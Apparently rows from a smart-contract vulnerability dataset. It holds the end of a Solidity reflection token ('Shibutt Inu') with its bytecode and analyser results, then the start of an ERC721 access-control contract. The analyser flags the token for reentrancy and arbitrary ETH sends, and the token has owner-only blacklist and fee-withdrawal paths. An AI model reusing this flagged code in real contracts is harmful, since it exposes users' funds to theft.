(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ecf565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129f2565b61045e565b6040516101789190612eb4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613071565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129a3565b61048d565b6040516101e09190612eb4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612915565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130e6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a6f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612915565b610783565b6040516102b19190613071565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612de6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ecf565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129f2565b61098d565b60405161035b9190612eb4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a2e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac1565b6110c2565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612967565b61120b565b6040516104189190613071565b60405180910390f35b60606040518060400160405280600b81526020017f5368696275747420496e75000000000000000000000000000000000000000000815250905090565b600061047261046b611292565b848461129a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611465565b61055b846104a6611292565b610556856040518060600160405280602881526020016137aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611292565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c249092919063ffffffff16565b61129a565b600190509392505050565b61056e611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fb1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fb1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611292565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c88565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d83565b9050919050565b6107dc611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f53484942555454f09f8d91000000000000000000000000000000000000000000815250905090565b60006109a161099a611292565b8484611465565b6001905092915050565b6109b3611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fb1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613387565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611292565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611df1565b50565b610b7d611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fb1565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613031565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061293e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061293e565b6040518363ffffffff1660e01b8152600401610e1f929190612e01565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061293e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e53565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612aea565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161106c929190612e2a565b602060405180830381600087803b15801561108657600080fd5b505af115801561109a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be9190612a98565b5050565b6110ca611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e90612fb1565b60405180910390fd5b6000811161119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190612f71565b60405180910390fd5b6111c960646111bb83683635c9adc5dea000006120eb90919063ffffffff16565b61216690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112009190613071565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190613011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137190612f31565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114589190613071565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90612ef1565b60405180910390fd5b60008111611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f90612fd1565b60405180910390fd5b611590610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fe57506115ce610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6157600f60179054906101000a900460ff1615611831573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177a611292565b73ffffffffffffffffffffffffffffffffffffffff1614806117f05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d8611292565b73ffffffffffffffffffffffffffffffffffffffff16145b61182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613051565b60405180910390fd5b5b5b60105481111561184057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ed57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119985750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ee5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a065750600f60179054906101000a900460ff165b15611aa75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5657600080fd5b603c42611a6391906131a7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab230610783565b9050600f60159054906101000a900460ff16158015611b1f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b375750600f60169054906101000a900460ff165b15611b5f57611b4581611df1565b60004790506000811115611b5d57611b5c47611c88565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c085750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1257600090505b611c1e848484846121b0565b50505050565b6000838311158290611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639190612ecf565b60405180910390fd5b5060008385611c7b9190613288565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd860028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d03573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5460028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d7f573d6000803e3d6000fd5b5050565b6000600654821115611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190612f11565b60405180910390fd5b6000611dd46121dd565b9050611de9818461216690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e7d5781602001602082028036833780820191505090505b5090503081600081518110611ebb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5d57600080fd5b505afa158015611f71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f95919061293e565b81600181518110611fcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a95949392919061308c565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120fe5760009050612160565b6000828461210c919061322e565b905082848261211b91906131fd565b1461215b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215290612f91565b60405180910390fd5b809150505b92915050565b60006121a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612208565b905092915050565b806121be576121bd61226b565b5b6121c984848461229c565b806121d7576121d6612467565b5b50505050565b60008060006121ea612479565b91509150612201818361216690919063ffffffff16565b9250505090565b6000808311829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612ecf565b60405180910390fd5b506000838561225e91906131fd565b9050809150509392505050565b600060085414801561227f57506000600954145b156122895761229a565b600060088190555060006009819055505b565b6000806000806000806122ae876124db565b95509550955095509550955061230c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ed816125eb565b6123f784836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124549190613071565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124af683635c9adc5dea0000060065461216690919063ffffffff16565b8210156124ce57600654683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a6008546009546126e2565b92509250925060006125086121dd565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c24565b905092915050565b600080828461259c91906131a7565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612f51565b60405180910390fd5b8091505092915050565b60006125f56121dd565b9050600061260c82846120eb90919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260065461254390919063ffffffff16565b6006819055506126d88160075461258d90919063ffffffff16565b6007819055505050565b60008060008061270e6064612700888a6120eb90919063ffffffff16565b61216690919063ffffffff16565b90506000612738606461272a888b6120eb90919063ffffffff16565b61216690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279185896120eb90919063ffffffff16565b905060006127a886896120eb90919063ffffffff16565b905060006127bf87896120eb90919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281461280f84613126565b613101565b9050808382526020820190508285602086028201111561283357600080fd5b60005b858110156128635781612849888261286d565b845260208401935060208301925050600181019050612836565b5050509392505050565b60008135905061287c81613764565b92915050565b60008151905061289181613764565b92915050565b600082601f8301126128a857600080fd5b81356128b8848260208601612801565b91505092915050565b6000813590506128d08161377b565b92915050565b6000815190506128e58161377b565b92915050565b6000813590506128fa81613792565b92915050565b60008151905061290f81613792565b92915050565b60006020828403121561292757600080fd5b60006129358482850161286d565b91505092915050565b60006020828403121561295057600080fd5b600061295e84828501612882565b91505092915050565b6000806040838503121561297a57600080fd5b60006129888582860161286d565b92505060206129998582860161286d565b9150509250929050565b6000806000606084860312156129b857600080fd5b60006129c68682870161286d565b93505060206129d78682870161286d565b92505060406129e8868287016128eb565b9150509250925092565b60008060408385031215612a0557600080fd5b6000612a138582860161286d565b9250506020612a24858286016128eb565b9150509250929050565b600060208284031215612a4057600080fd5b600082013567ffffffffffffffff811115612a5a57600080fd5b612a6684828501612897565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016128c1565b91505092915050565b600060208284031215612aaa57600080fd5b6000612ab8848285016128d6565b91505092915050565b600060208284031215612ad357600080fd5b6000612ae1848285016128eb565b91505092915050565b600080600060608486031215612aff57600080fd5b6000612b0d86828701612900565b9350506020612b1e86828701612900565b9250506040612b2f86828701612900565b9150509250925092565b6000612b458383612b51565b60208301905092915050565b612b5a816132bc565b82525050565b612b69816132bc565b82525050565b6000612b7a82613162565b612b848185613185565b9350612b8f83613152565b8060005b83811015612bc0578151612ba78882612b39565b9750612bb283613178565b925050600181019050612b93565b5085935050505092915050565b612bd6816132ce565b82525050565b612be581613311565b82525050565b6000612bf68261316d565b612c008185613196565b9350612c10818560208601613323565b612c198161345d565b840191505092915050565b6000612c31602383613196565b9150612c3c8261346e565b604082019050919050565b6000612c54602a83613196565b9150612c5f826134bd565b604082019050919050565b6000612c77602283613196565b9150612c828261350c565b604082019050919050565b6000612c9a601b83613196565b9150612ca58261355b565b602082019050919050565b6000612cbd601d83613196565b9150612cc882613584565b602082019050919050565b6000612ce0602183613196565b9150612ceb826135ad565b604082019050919050565b6000612d03602083613196565b9150612d0e826135fc565b602082019050919050565b6000612d26602983613196565b9150612d3182613625565b604082019050919050565b6000612d49602583613196565b9150612d5482613674565b604082019050919050565b6000612d6c602483613196565b9150612d77826136c3565b604082019050919050565b6000612d8f601783613196565b9150612d9a82613712565b602082019050919050565b6000612db2601183613196565b9150612dbd8261373b565b602082019050919050565b612dd1816132fa565b82525050565b612de081613304565b82525050565b6000602082019050612dfb6000830184612b60565b92915050565b6000604082019050612e166000830185612b60565b612e236020830184612b60565b9392505050565b6000604082019050612e3f6000830185612b60565b612e4c6020830184612dc8565b9392505050565b600060c082019050612e686000830189612b60565b612e756020830188612dc8565b612e826040830187612bdc565b612e8f6060830186612bdc565b612e9c6080830185612b60565b612ea960a0830184612dc8565b979650505050505050565b6000602082019050612ec96000830184612bcd565b92915050565b60006020820190508181036000830152612ee98184612beb565b905092915050565b60006020820190508181036000830152612f0a81612c24565b9050919050565b60006020820190508181036000830152612f2a81612c47565b9050919050565b60006020820190508181036000830152612f4a81612c6a565b9050919050565b60006020820190508181036000830152612f6a81612c8d565b9050919050565b60006020820190508181036000830152612f8a81612cb0565b9050919050565b60006020820190508181036000830152612faa81612cd3565b9050919050565b60006020820190508181036000830152612fca81612cf6565b9050919050565b60006020820190508181036000830152612fea81612d19565b9050919050565b6000602082019050818103600083015261300a81612d3c565b9050919050565b6000602082019050818103600083015261302a81612d5f565b9050919050565b6000602082019050818103600083015261304a81612d82565b9050919050565b6000602082019050818103600083015261306a81612da5565b9050919050565b60006020820190506130866000830184612dc8565b92915050565b600060a0820190506130a16000830188612dc8565b6130ae6020830187612bdc565b81810360408301526130c08186612b6f565b90506130cf6060830185612b60565b6130dc6080830184612dc8565b9695505050505050565b60006020820190506130fb6000830184612dd7565b92915050565b600061310b61311c565b90506131178282613356565b919050565b6000604051905090565b600067ffffffffffffffff8211156131415761314061342e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b2826132fa565b91506131bd836132fa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f2576131f16133d0565b5b828201905092915050565b6000613208826132fa565b9150613213836132fa565b925082613223576132226133ff565b5b828204905092915050565b6000613239826132fa565b9150613244836132fa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327d5761327c6133d0565b5b828202905092915050565b6000613293826132fa565b915061329e836132fa565b9250828210156132b1576132b06133d0565b5b828203905092915050565b60006132c7826132da565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061331c826132fa565b9050919050565b60005b83811015613341578082015181840152602081019050613326565b83811115613350576000848401525b50505050565b61335f8261345d565b810181811067ffffffffffffffff8211171561337e5761337d61342e565b5b80604052505050565b6000613392826132fa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c5576133c46133d0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376d816132bc565b811461377857600080fd5b50565b613784816132ce565b811461378f57600080fd5b50565b61379b816132fa565b81146137a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207dea768df5867fc9df793a8431102707a8fcbdf66f17231bd587e2bb87bf18ae64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,627 |
0x96313f2c374f901e3831ea6de67b1165c4f39a54 | pragma solidity ^0.4.18;
// inspired by
// https://github.com/axiomzen/cryptokitties-bounty/blob/master/contracts/KittyAccessControl.sol
contract AccessControl {
/// @dev The addresses of the accounts (or contracts) that can execute actions within each roles
address public ceoAddress;
address public cooAddress;
/// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev The AccessControl constructor sets the original C roles of the contract to the sender account
function AccessControl() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// @dev Access modifier for any CLevel functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress || msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Pause the smart contract. Only can be called by the CEO
function pause() public onlyCEO whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Only can be called by the CEO
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
/**
* Interface for required functionality in the ERC721 standard
* for non-fungible tokens.
*
* Author: Nadav Hollander (nadav at dharma.io)
* https://github.com/dharmaprotocol/NonFungibleToken/blob/master/contracts/ERC721.sol
*/
contract ERC721 {
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
/// For querying totalSupply of token.
function totalSupply() public view returns (uint256 _totalSupply);
/// For querying balance of a particular account.
/// @param _owner The address for balance query.
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 _balance);
/// For querying owner of token.
/// @param _tokenId The tokenID for owner inquiry.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId) public view returns (address _owner);
